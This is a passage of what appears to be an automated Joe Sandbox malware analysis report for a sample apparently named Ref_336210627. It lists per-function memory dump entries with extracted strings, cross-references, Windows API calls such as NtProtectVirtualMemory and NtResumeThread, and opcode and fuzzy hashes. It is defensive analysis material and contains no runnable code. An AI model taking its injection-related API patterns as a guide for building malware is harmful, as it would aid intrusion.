Download Yara Rule

Strings

,oq, xrefs: 066CCCBA
$kq, xrefs: 066CC647
$kq, xrefs: 066CCAD1
$kq, xrefs: 066CC6F7
$kq, xrefs: 066CCB2A

Memory Dump Source

Source File: 00000000.00000002.1811372963.00000000066C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_66c0000_Ref_336210627.jbxd

Similarity

API ID:
String ID: ,oq$$kq$$kq$$kq$$kq
API String ID: 0-3651797069
Opcode ID: 1b775eeaa13ad38fe99697b621ef279cf3d17f67ab6df414d3fd1632fda02486
Instruction ID: 3ade15cd0e4f4e0c68b0e1ed3aa8b4a9036a208a5d46db7c072f0b4350cb1f01
Opcode Fuzzy Hash: 1b775eeaa13ad38fe99697b621ef279cf3d17f67ab6df414d3fd1632fda02486
Instruction Fuzzy Hash: 5F220A74A00614CFDB64CFA9C994BADB7B6FF88310F1481A9D509AB3A5DB70AD81CF50

Function 0163D1D8 Relevance: 6.0, Strings: 4, Instructions: 983
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Tekq, xrefs: 0163D8FB
xbnq, xrefs: 0163D305
poq, xrefs: 0163DD92
TJpq, xrefs: 0163D37A

Memory Dump Source

Source File: 00000000.00000002.1789660093.0000000001630000.00000040.00000800.00020000.00000000.sdmp, Offset: 01630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1630000_Ref_336210627.jbxd

Similarity

API ID:
String ID: TJpq$Tekq$poq$xbnq
API String ID: 0-229356865
Opcode ID: 1491d7420949f5f75c35d26968bc70fc37b94894106460cdffd296ebb71b4edf
Instruction ID: ecb3b372295ee168da0f4025c77b4681774b53a8b6b6a37d43d5580831cbe023
Opcode Fuzzy Hash: 1491d7420949f5f75c35d26968bc70fc37b94894106460cdffd296ebb71b4edf
Instruction Fuzzy Hash: C8A2B775A00228CFDB65CF69C984AD9BBB2FF89304F1581E9D509AB365DB319E81CF40

Function 01630D1B Relevance: 3.1, Strings: 2, Instructions: 597
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\skq, xrefs: 0163101A
LRkq, xrefs: 01630DFE

Memory Dump Source

Source File: 00000000.00000002.1789660093.0000000001630000.00000040.00000800.00020000.00000000.sdmp, Offset: 01630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1630000_Ref_336210627.jbxd

Similarity

API ID:
String ID: LRkq$\skq
API String ID: 0-3259353708
Opcode ID: 68265b7afd9a3844b63f969a3c8b5a45397404e92c8f34baaaeb5726624d614a
Instruction ID: 8a14f8368deafe6b23c79f6043739eed6aa32db1f023ec11a4b3b73609c8d11d
Opcode Fuzzy Hash: 68265b7afd9a3844b63f969a3c8b5a45397404e92c8f34baaaeb5726624d614a
Instruction Fuzzy Hash: 42329C70E012298FDB24CF69D884AADB7F2FF89300F168569E416EB355DB34A945CF90

Function 066CF8A0 Relevance: 3.1, Strings: 2, Instructions: 577
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$kq, xrefs: 066CFADE
Plkq, xrefs: 066CF9F8

Memory Dump Source

Source File: 00000000.00000002.1811372963.00000000066C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_66c0000_Ref_336210627.jbxd

Similarity

API ID:
String ID: Plkq$$kq
API String ID: 0-1494132449
Opcode ID: 2c73167ebb5da25c0673a62314dd2c362459a37ceba53f2263bba313d7afbc03
Instruction ID: 156a37a92096d9de2e017c8e1d87d3a32b7429d0b9f39ff904806db3263dd1fe
Opcode Fuzzy Hash: 2c73167ebb5da25c0673a62314dd2c362459a37ceba53f2263bba313d7afbc03
Instruction Fuzzy Hash: FB223A34B00A048FDB54DF28C954A7AB7F6FF89320B2584A9E506CB3A5DB35EC42CB51

Function 0658D0B8 Relevance: 3.0, Strings: 2, Instructions: 544
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fpq, xrefs: 0658D1D7
8, xrefs: 0658D1C4

Memory Dump Source

Source File: 00000000.00000002.1810368052.0000000006580000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6580000_Ref_336210627.jbxd

Similarity

API ID:
String ID: fpq$8
API String ID: 0-1207623099
Opcode ID: 5f1e4171985381bcdf4afdf282e4a7cb9d6b6d3801fc77c6a1ae542718322d5a
Instruction ID: 51d9e2e07507904ab5cd99d61c7252a0eadc796ac239971f307cda1202bb48cf
Opcode Fuzzy Hash: 5f1e4171985381bcdf4afdf282e4a7cb9d6b6d3801fc77c6a1ae542718322d5a
Instruction Fuzzy Hash: 1442B275D006298FDB64DF69C850AD9B7B2BF89300F1486EAD40DB7255EB30AE85CF90

Function 01630D62 Relevance: 2.9, Strings: 2, Instructions: 369
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\skq, xrefs: 0163101A
LRkq, xrefs: 01630DFE

Memory Dump Source

Source File: 00000000.00000002.1789660093.0000000001630000.00000040.00000800.00020000.00000000.sdmp, Offset: 01630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1630000_Ref_336210627.jbxd

Similarity

API ID:
String ID: LRkq$\skq
API String ID: 0-3259353708
Opcode ID: fbd17c9a075b7a7a92fbeb30520cedc79333cd54f8e1c8a03241cca36df89a22
Instruction ID: 714fa562f69ef57dd5874ed592db224de1bfc994bbb46790b8c4de012ca27cdc
Opcode Fuzzy Hash: fbd17c9a075b7a7a92fbeb30520cedc79333cd54f8e1c8a03241cca36df89a22
Instruction Fuzzy Hash: FCE15E75E012298FDB24CF79D884AADB7F2BFC8300F168569D415EB358DB34A945CB90

Function 01630DD9 Relevance: 2.8, Strings: 2, Instructions: 341
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\skq, xrefs: 0163101A
LRkq, xrefs: 01630DFE

Memory Dump Source

Source File: 00000000.00000002.1789660093.0000000001630000.00000040.00000800.00020000.00000000.sdmp, Offset: 01630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1630000_Ref_336210627.jbxd

Similarity

API ID:
String ID: LRkq$\skq
API String ID: 0-3259353708
Opcode ID: db73131ab613be838355b0002dea9f47b3ebddef4bc61ab9d63d6504c4602957
Instruction ID: fca19da6b0bd271a74202a6891ef97db24524921c55401e8a8e0b21eef69a429
Opcode Fuzzy Hash: db73131ab613be838355b0002dea9f47b3ebddef4bc61ab9d63d6504c4602957
Instruction Fuzzy Hash: 2DD15E75E012298FDB24CF79D884AADB7F2BFC8300F168569D416EB358DB34A945CB90

Function 01638C38 Relevance: 2.7, Strings: 2, Instructions: 180
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'kq, xrefs: 01638CFF
4'kq, xrefs: 01638D2A

Memory Dump Source

Source File: 00000000.00000002.1789660093.0000000001630000.00000040.00000800.00020000.00000000.sdmp, Offset: 01630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1630000_Ref_336210627.jbxd

Similarity

API ID:
String ID: 4'kq$4'kq
API String ID: 0-4171853269
Opcode ID: 9ee9b85065f46d0edc1d61822b6a75803e57706195b0525a3a5a43c2c66d4077
Instruction ID: fab6d4a292b8730a3bdc8e6c47c4b1a3d1cec30c5772f39b96ffe98f65059962
Opcode Fuzzy Hash: 9ee9b85065f46d0edc1d61822b6a75803e57706195b0525a3a5a43c2c66d4077
Instruction Fuzzy Hash: 527138B0E002099FDB59DF6EE94469ABBF3FFC4308F14C529D0159F268DB34584A9B91

Function 01638C48 Relevance: 2.7, Strings: 2, Instructions: 165COMMON

Download Yara Rule

Strings

4'kq, xrefs: 01638CFF
4'kq, xrefs: 01638D2A

Memory Dump Source

Source File: 00000000.00000002.1789660093.0000000001630000.00000040.00000800.00020000.00000000.sdmp, Offset: 01630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1630000_Ref_336210627.jbxd

Similarity

API ID:
String ID: 4'kq$4'kq
API String ID: 0-4171853269
Opcode ID: 7dd820779ff3a89a155fd366c61fa6ae60d1487c3e46b4e9e1eb42a2f66684c9
Instruction ID: ebb8903ed7b8412648a5df4f428d5ae16e754d0071c866a536e53102b3e4d037
Opcode Fuzzy Hash: 7dd820779ff3a89a155fd366c61fa6ae60d1487c3e46b4e9e1eb42a2f66684c9
Instruction Fuzzy Hash: 1B7115B1E002099FD759DF6EE94469ABBF3FFC8308F14C129D0159F268DB34598A8B90

Function 0658D0A9 Relevance: 2.7, Strings: 2, Instructions: 155COMMON

Download Yara Rule

Strings

fpq, xrefs: 0658D1D7
h, xrefs: 0658D1B8

Memory Dump Source

Source File: 00000000.00000002.1810368052.0000000006580000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6580000_Ref_336210627.jbxd

Similarity

API ID:
String ID: fpq$h
API String ID: 0-747736143
Opcode ID: 088504eda5b3681c915b1ab7bfdb237fec1da9812d4e9ae535c034b5ab99199f
Instruction ID: c78676b510824fafbb514f28b409e83be24045cb4ff34b25d0f5b28e12b0acbd
Opcode Fuzzy Hash: 088504eda5b3681c915b1ab7bfdb237fec1da9812d4e9ae535c034b5ab99199f
Instruction Fuzzy Hash: 0761A271D046298FEB64DF6ACC50BD9BBB2BF89300F54C2AAD44DA7254DB305A85CF90

Function 06550040 Relevance: 2.3, Strings: 1, Instructions: 1081COMMON

Download Yara Rule

Strings

2, xrefs: 06550B80

Memory Dump Source

Source File: 00000000.00000002.1810185372.0000000006550000.00000040.00000800.00020000.00000000.sdmp, Offset: 06550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6550000_Ref_336210627.jbxd

Similarity

API ID:
String ID: 2
API String ID: 0-450215437
Opcode ID: 3eaa600b47f9335a2768a5b7c64b652cb015bb52f410dd9ad8525fd34f8de6ad
Instruction ID: 615327926d9d0f26f393bee73f4185d5d542a2edc3891bdfdc969d9cdaf4f8a2
Opcode Fuzzy Hash: 3eaa600b47f9335a2768a5b7c64b652cb015bb52f410dd9ad8525fd34f8de6ad
Instruction Fuzzy Hash: 26C2A4B4E002298FDB65DF68D994B99BBF6BF89300F1081E9D509AB355DB309E85CF40

Function 06584958 Relevance: 1.9, Strings: 1, Instructions: 615COMMON

Download Yara Rule

Strings

(oq, xrefs: 06584A28

Memory Dump Source

Source File: 00000000.00000002.1810368052.0000000006580000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6580000_Ref_336210627.jbxd

Similarity

API ID:
String ID: (oq
API String ID: 0-3175707579
Opcode ID: e7ca832c3912afc8a8cdbcee470d1a51fab9919f400845604223afd3ac9f6ad0
Instruction ID: a72f1bff87fd03884510ea8094288f72ae0a7d044c25b1d9e8e97248a20bd340
Opcode Fuzzy Hash: e7ca832c3912afc8a8cdbcee470d1a51fab9919f400845604223afd3ac9f6ad0
Instruction Fuzzy Hash: 8E328E71B006168FCB94DF69C494A6EFBF2FF88300F14852AD95AEB741DB34A911CB91

Function 0163169E Relevance: 1.6, Strings: 1, Instructions: 384COMMON

Download Yara Rule

Strings

LRkq, xrefs: 01631A34

Memory Dump Source

Source File: 00000000.00000002.1789660093.0000000001630000.00000040.00000800.00020000.00000000.sdmp, Offset: 01630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1630000_Ref_336210627.jbxd

Similarity

API ID:
String ID: LRkq
API String ID: 0-1052062081
Opcode ID: 66851a674133aa365e4d1a095fb51682c0b3bf704486e5e1a8634922cf30bccf
Instruction ID: 1287e77487d6b8f7aa4cce157228c9f8c32d635c518a8176bee100eebd5d32ff
Opcode Fuzzy Hash: 66851a674133aa365e4d1a095fb51682c0b3bf704486e5e1a8634922cf30bccf
Instruction Fuzzy Hash: 60F18E71E012698FDB14CF69C984AADFBF2BF85300F19C1A9D419AB296D734AD81CF50

Function 0658FE98 Relevance: 1.6, APIs: 1, Instructions: 112nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 0658FF55

Memory Dump Source

Source File: 00000000.00000002.1810368052.0000000006580000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6580000_Ref_336210627.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 76510a0b7bae8fc096336222fa2e4d10b2c086cbcf66da6af69ed49a54d86ac3
Instruction ID: d56543a9ba05e08f11f56877ff7fee99216b7ee48e76d68c61868b3c07bf0e16
Opcode Fuzzy Hash: 76510a0b7bae8fc096336222fa2e4d10b2c086cbcf66da6af69ed49a54d86ac3
Instruction Fuzzy Hash: 4B4199B5D00258DFCF10CFAAD984ADEFBB5BB49310F10942AE818B7210D735A945CFA8

Function 0658FEA0 Relevance: 1.6, APIs: 1, Instructions: 105nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 0658FF55

Memory Dump Source

Source File: 00000000.00000002.1810368052.0000000006580000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6580000_Ref_336210627.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 23a1357ae4456927bde33dcadf82822e19103613c862d2c436a72232bd8325fa
Instruction ID: 7bbaaa57d6e225a5c3930e30797c6fc82f3ad9a04b3440007323bc9c3c1166cb
Opcode Fuzzy Hash: 23a1357ae4456927bde33dcadf82822e19103613c862d2c436a72232bd8325fa
Instruction Fuzzy Hash: 2F4197B5D04258DFCF10CFAAD984ADEFBB5BB49320F10942AE818B7210D735A945CF68

Function 06671131 Relevance: 1.6, APIs: 1, Instructions: 84nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 066711C6

Memory Dump Source

Source File: 00000000.00000002.1811198101.0000000006670000.00000040.00000800.00020000.00000000.sdmp, Offset: 06610000, based on PE: true

Associated: 00000000.00000002.1810532267.0000000006610000.00000004.08000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6610000_Ref_336210627.jbxd

Yara matches

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 396a574a8db1f9a7248aba2781b7247c488eaf7f3c46b3e19b20965f1180738a
Instruction ID: f4200f123cc24a48bfccdd668846e50050356842fdcd6e985bd237e37c54fa53
Opcode Fuzzy Hash: 396a574a8db1f9a7248aba2781b7247c488eaf7f3c46b3e19b20965f1180738a
Instruction Fuzzy Hash: D83199B4D01218DFCB10CFA9D984ADEFBF5BB49320F24942AE914B7210D775A945CF94

Function 06671138 Relevance: 1.6, APIs: 1, Instructions: 82nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 066711C6

Memory Dump Source

Source File: 00000000.00000002.1811198101.0000000006670000.00000040.00000800.00020000.00000000.sdmp, Offset: 06610000, based on PE: true

Associated: 00000000.00000002.1810532267.0000000006610000.00000004.08000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6610000_Ref_336210627.jbxd

Yara matches

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 5fd0ee98209ce1abee1850c9a53ec73d4a0e86d06ab831dc3930e04970351ac5
Instruction ID: 6f50401ba438a8c56385299625b2420e2808ff6070ae4e920386674e8a65b59a
Opcode Fuzzy Hash: 5fd0ee98209ce1abee1850c9a53ec73d4a0e86d06ab831dc3930e04970351ac5
Instruction Fuzzy Hash: CE31A9B4D01218DFCB10CFAAD984A9EFBF5BB49320F24942AE814B7310D735A945CF94

Function 066C819A Relevance: 1.5, Strings: 1, Instructions: 297COMMON

Download Yara Rule

Strings

Tekq, xrefs: 066C8394

Memory Dump Source

Source File: 00000000.00000002.1811372963.00000000066C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_66c0000_Ref_336210627.jbxd

Similarity

API ID:
String ID: Tekq
API String ID: 0-2319236580
Opcode ID: 877c1e6066ecc422d5603dfb2a16190c045c8f15477eca30d4a5c13a30bcf147
Instruction ID: 7fa31184f82edc294b674ad5f63ef71a749fb618fc3cfae594e7eaff2be1abdd
Opcode Fuzzy Hash: 877c1e6066ecc422d5603dfb2a16190c045c8f15477eca30d4a5c13a30bcf147
Instruction Fuzzy Hash: 9AD1F470A04619CFEBA4CF69D858BADBBB2FB49310F1081AED40AAB654D7745D85CF40

Function 066C81CC Relevance: 1.5, Strings: 1, Instructions: 273COMMON

Download Yara Rule

Strings

Tekq, xrefs: 066C8394

Memory Dump Source

Source File: 00000000.00000002.1811372963.00000000066C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_66c0000_Ref_336210627.jbxd

Similarity

API ID:
String ID: Tekq
API String ID: 0-2319236580
Opcode ID: 540763e86e883aa93097ee86f2f568ef5fa2c5165a64b09d672770fc07b38689
Instruction ID: 47d7db1fd27fddca14cb82a1fe485ecfacaf679cc2a4f4fb104941c2f6aeb850
Opcode Fuzzy Hash: 540763e86e883aa93097ee86f2f568ef5fa2c5165a64b09d672770fc07b38689
Instruction Fuzzy Hash: 40C1E370A05619CFEBA4CF69D888BADBBB2FB49310F1081AED40AA7754DB745D85CF40

Function 0658AFA8 Relevance: 1.5, Strings: 1, Instructions: 264COMMON

Download Yara Rule

Strings

PHkq, xrefs: 0658B1E5

Memory Dump Source

Source File: 00000000.00000002.1810368052.0000000006580000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6580000_Ref_336210627.jbxd

Similarity

API ID:
String ID: PHkq
API String ID: 0-902561536
Opcode ID: 2f3374f2314fb86de958a5ca04826cdb2865d08eb9e06aed5e58a48e811d8dcc
Instruction ID: 5e9bfa311f2098f4c28aff1388d50841f832c5ecb98411ffe57ab70c404eb116
Opcode Fuzzy Hash: 2f3374f2314fb86de958a5ca04826cdb2865d08eb9e06aed5e58a48e811d8dcc
Instruction Fuzzy Hash: 35B13670E04218CFEBA4DFA9D988BADBBB6FF49304F248469D419BB651DB345984CF40

Function 0658AF97 Relevance: 1.5, Strings: 1, Instructions: 255COMMON

Download Yara Rule

Strings

PHkq, xrefs: 0658B1E5

Memory Dump Source

Source File: 00000000.00000002.1810368052.0000000006580000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6580000_Ref_336210627.jbxd

Similarity

API ID:
String ID: PHkq
API String ID: 0-902561536
Opcode ID: 5bdea2eb9c4fe61e7130158a299aadfe0bc6cc3438f3c38ac301b714d41ed3cb
Instruction ID: d92471800b34b840d67f1ba3e34093fe0af4216f918482cab1051705f357ea2d
Opcode Fuzzy Hash: 5bdea2eb9c4fe61e7130158a299aadfe0bc6cc3438f3c38ac301b714d41ed3cb
Instruction Fuzzy Hash: 3EB12570E04218CFEBA4DFA9D988BADBBB6BF89304F248469D019B7650DB745985CF40

Function 0655BCE0 Relevance: 1.5, Strings: 1, Instructions: 237COMMON

Download Yara Rule

Strings

Tekq, xrefs: 0655BE0B

Memory Dump Source

Source File: 00000000.00000002.1810185372.0000000006550000.00000040.00000800.00020000.00000000.sdmp, Offset: 06550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6550000_Ref_336210627.jbxd

Similarity

API ID:
String ID: Tekq
API String ID: 0-2319236580
Opcode ID: dd82319ceb210d7c710c3f3aa09d6817db4e6d63b66ec9a4b657260f0a1b9245
Instruction ID: b002a7a87b6490ae29ff87e57269d9c49db65b3e78f6a9d1830ea4b020366c65
Opcode Fuzzy Hash: dd82319ceb210d7c710c3f3aa09d6817db4e6d63b66ec9a4b657260f0a1b9245
Instruction Fuzzy Hash: D4A13474E05208CFEB94CFA9D8ACB9DBBF2BF88304F15946AD809AB251D7745985CF40

Function 0655BCD0 Relevance: 1.5, Strings: 1, Instructions: 233COMMON

Download Yara Rule

Strings

Tekq, xrefs: 0655BE0B

Memory Dump Source

Source File: 00000000.00000002.1810185372.0000000006550000.00000040.00000800.00020000.00000000.sdmp, Offset: 06550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6550000_Ref_336210627.jbxd

Similarity

API ID:
String ID: Tekq
API String ID: 0-2319236580
Opcode ID: 8c30e6f4aeb2d861f274c0a4f43168aa9fa12b221e62ec24cad39547715b13a4
Instruction ID: f6a16c99522da03f44a56ce316de8043f9f0ef52050775c3c7d2b1ba9e529de7
Opcode Fuzzy Hash: 8c30e6f4aeb2d861f274c0a4f43168aa9fa12b221e62ec24cad39547715b13a4
Instruction Fuzzy Hash: E6A11674E05208CFEB94CFA9D9A8B9DBBF2FF88304F15846AD809AB251D7745985CF40

Function 0163179D Relevance: 1.5, Strings: 1, Instructions: 215COMMON

Download Yara Rule

Strings

LRkq, xrefs: 01631A34

Memory Dump Source

Source File: 00000000.00000002.1789660093.0000000001630000.00000040.00000800.00020000.00000000.sdmp, Offset: 01630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1630000_Ref_336210627.jbxd

Similarity

API ID:
String ID: LRkq
API String ID: 0-1052062081
Opcode ID: 215bd8ee278c3a5157c8a2539b9f9d40716c8fc0ceb4cd1d4d84d53c3187ef8f
Instruction ID: 61e9de1cd8a063fbc0bcf80a5c6f429774d69e2096e92c7b6f4c18d3fff4c158
Opcode Fuzzy Hash: 215bd8ee278c3a5157c8a2539b9f9d40716c8fc0ceb4cd1d4d84d53c3187ef8f
Instruction Fuzzy Hash: 46918171E011198FDB19CF68CD90AACB7B2BFC9304F29C5A9D415AB295D734AD81CF90

Function 01630A58 Relevance: 1.5, Strings: 1, Instructions: 208COMMON

Download Yara Rule

Strings

\skq, xrefs: 01630BCC

Memory Dump Source

Source File: 00000000.00000002.1789660093.0000000001630000.00000040.00000800.00020000.00000000.sdmp, Offset: 01630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1630000_Ref_336210627.jbxd

Similarity

API ID:
String ID: \skq
API String ID: 0-1461930697
Opcode ID: bb6187c08f4a1a338869099328b096645990ad04fa83f3c7473c399572550651
Instruction ID: 1483bfcd4305fe97f61f2f93f73441429168f45ad4601d0b6b60bcb3431ae2bf
Opcode Fuzzy Hash: bb6187c08f4a1a338869099328b096645990ad04fa83f3c7473c399572550651
Instruction Fuzzy Hash: 6481F8B8E4020E9FDF14CFA9D9809AEBBF1BF88314F106659D416EB394DB31A945CB50

Function 06587AB8 Relevance: 1.4, Strings: 1, Instructions: 199COMMON

Download Yara Rule

Strings

doq, xrefs: 06587D8A

Memory Dump Source

Source File: 00000000.00000002.1810368052.0000000006580000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6580000_Ref_336210627.jbxd

Similarity

API ID:
String ID: doq
API String ID: 0-3318987180
Opcode ID: 640853bec82dacb78e5dfb32c84144a3e775a152b034ee46e922133fb5b0f346
Instruction ID: ec27e2e007e32d5d2e03dfe5b11c886645efea29d055c070fbc67a07427b7880
Opcode Fuzzy Hash: 640853bec82dacb78e5dfb32c84144a3e775a152b034ee46e922133fb5b0f346
Instruction Fuzzy Hash: 9C91E474E05208CFDB54EFA8D948BADBBF2FF89305F204469D009AB654DB785A85CF41

Function 06587AA8 Relevance: 1.4, Strings: 1, Instructions: 199COMMON

Download Yara Rule

Strings

doq, xrefs: 06587D8A

Memory Dump Source

Source File: 00000000.00000002.1810368052.0000000006580000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6580000_Ref_336210627.jbxd

Similarity

API ID:
String ID: doq
API String ID: 0-3318987180
Opcode ID: 8b96519f0978f2ac4baf6865b7ecec2ec80bc0a56c478714dc6718917857bb9a
Instruction ID: f1b7ead476c2c72af08cc2fbb1832810cd5abb630191e71054d9fc4a875d9d82
Opcode Fuzzy Hash: 8b96519f0978f2ac4baf6865b7ecec2ec80bc0a56c478714dc6718917857bb9a
Instruction Fuzzy Hash: B591D374E05208CFDB54EFA8D948BADBBF2FF89305F208469D008AB654DB785A85CF41

Function 01638A18 Relevance: 1.4, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

q, xrefs: 01638AA9

Memory Dump Source

Source File: 00000000.00000002.1789660093.0000000001630000.00000040.00000800.00020000.00000000.sdmp, Offset: 01630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1630000_Ref_336210627.jbxd

Similarity

API ID:
String ID: q
API String ID: 0-4110462503
Opcode ID: 22720a2786cf27e970a173242a2bdc9e4bbb70ecef320102382ba2927a189c0d
Instruction ID: 6eb204bfad80cd124de8eb75de8684cb545ba55c447379e5e2312af21ba9893e
Opcode Fuzzy Hash: 22720a2786cf27e970a173242a2bdc9e4bbb70ecef320102382ba2927a189c0d
Instruction Fuzzy Hash: FD6102B180A3869FD706DF68DC642DA3FB5EF82314F0945D6D041DB293D7384A89CBA2

Function 016322F2 Relevance: 1.4, Strings: 1, Instructions: 182COMMON

Download Yara Rule

Strings

, xrefs: 0163241E

Memory Dump Source

Source File: 00000000.00000002.1789660093.0000000001630000.00000040.00000800.00020000.00000000.sdmp, Offset: 01630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1630000_Ref_336210627.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 616a8541832e565b0288768f29fe4500731ffa0a12246e87131d2b01309f6d89
Instruction ID: e2902a571bed5501487b83f2cf0fcf9a8bd6098ed15a68832bfd9301f95e7302
Opcode Fuzzy Hash: 616a8541832e565b0288768f29fe4500731ffa0a12246e87131d2b01309f6d89
Instruction Fuzzy Hash: 6E51B931F001158FCB14CB6DD8946AEBBF2FBC8211B29857AD519DB75ADB31EC028B81

Function 0655142C Relevance: .5, Instructions: 471COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1810185372.0000000006550000.00000040.00000800.00020000.00000000.sdmp, Offset: 06550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6550000_Ref_336210627.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e37c5be8f170defaf198492120af455143665505bbe57c2561d316e5a602a58
Instruction ID: 14914d3d70145ba9893d150913f5aa12d82463241c0eaa76b180b83423e13ae7
Opcode Fuzzy Hash: 9e37c5be8f170defaf198492120af455143665505bbe57c2561d316e5a602a58
Instruction Fuzzy Hash: 6A32D574A042298FCB65DF28C998B99BBB6FF48300F1185E9D90DA7355DB31AE85CF40

Function 01631FE0 Relevance: .2, Instructions: 235COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1789660093.0000000001630000.00000040.00000800.00020000.00000000.sdmp, Offset: 01630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1630000_Ref_336210627.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 209dd47dd8911a48f05176a48a7d278c0d7256d36868f7181f2ffb1185e9b954
Instruction ID: 2f0e42e6859bd0f272573fa0d6a104ebb137615d824c34d390c68a0afd5171a2
Opcode Fuzzy Hash: 209dd47dd8911a48f05176a48a7d278c0d7256d36868f7181f2ffb1185e9b954
Instruction Fuzzy Hash: CE815D32F102259FD754DB69DC94A5EB7E3AFC8711F1A8168E405EB369DA34EC01CB90

Function 0658FC08 Relevance: .2, Instructions: 184COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1810368052.0000000006580000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6580000_Ref_336210627.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f20fc17d7b5c45e213c91b5901812e58977db6b6ada2aa67580516525fabec4
Instruction ID: 2dabfa001493e56f173eda1efa96988c0b8893f37edcbd1423d11daac64728cc
Opcode Fuzzy Hash: 5f20fc17d7b5c45e213c91b5901812e58977db6b6ada2aa67580516525fabec4
Instruction Fuzzy Hash: 72711774E05209DFDB44DFA9D484AAEBBF2FF89300F108529E519AB364DB349A45CF90

Function 0658FC18 Relevance: .2, Instructions: 178COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1810368052.0000000006580000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6580000_Ref_336210627.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d09c6001f5e90ba741ca8688db8a87ef3d20cb23edea6235e87ad626ab3e20a
Instruction ID: 5062cc60da4cc7803f3327fe713dba6fbdd6b6d739f318d6ec16f3bab7a82ba1
Opcode Fuzzy Hash: 3d09c6001f5e90ba741ca8688db8a87ef3d20cb23edea6235e87ad626ab3e20a
